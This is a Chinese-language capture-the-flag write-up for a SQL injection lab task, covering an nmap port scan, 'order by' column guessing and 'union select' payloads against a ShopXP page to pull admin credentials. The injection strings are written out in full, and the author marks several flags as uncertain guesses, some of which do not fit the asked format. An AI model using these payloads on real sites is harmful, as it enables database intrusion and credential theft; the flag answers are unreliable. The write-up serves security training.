B-4:SQL注入测试(PL)
任务环境说明:
服务器场景:Server12
服务器场景操作系统:未知(关闭链接)
1.已知靶机存在网站系统,使用Nmap工具扫描靶机端口,并将网站服务的端口号作为Flag(形式:Flag字符串)值提交。
nmap -p- ip -sV 扫描靶机
flag:[8089]
2.访问网站/admin/pinglun.asp页面,此页面存在SQL注入,使用排序语句进行列数猜测,将语句作为Flag(形式:URL无空格)值提交。
在url后一行写入?id=79 输入79是因为id=1没有任何回显,一直猜,猜到79的
注入语句:?id=79 order by 1进行列数猜测
一直猜测下去,猜到12报错,有11列
这题flag,我没有标准答案,存在争议,暂时定为这个把 flag:[order by]
3.页面没有返回任何有用信息·,尝试使用联合查询进行SQL注入,构建基本查询语句进行SQL注入,将语句作为Flag(形式:语句无空格)值提交。
尝试使用联合查询的方式进行查找信息,因为这个网站是shopXP,而ShopXP的默认数据库名称叫做shopxp_admin,尝试对其进行测试,
注入语句:?id=79 union select 1,2,3,4,5,6,7,8,9,10,11 from shopxp_admin
flag:[union select] 还是那句话,没有标准答案,不敢保证这是真的flag
4. 使用联合查询进行列数猜测,构建常规的联合查询列数猜测语句,将出现在文本框里4个字段的序号作为Flag值(形式:F1.F2.F3.F4)提交。
flag:[3:5:6:10]
5.构建注入语句,查询数据库中管理员的敏感信息,将获取到密码信息作为Flag值(形式:Flag字符串)提交。
通过第三题的sql注入语句,服务端才返回了第3、5、6、10个字段的结果。通过替换这四个位置的字段,来达到任意数据读取的目的。
sql注入语句:?id=79 union select 1,2,admin,4,password,6,7,8.9,10,11 from shopxp_admin
获得管理员用户名:admin 密码为MD5加密后的值。
flag:[admin]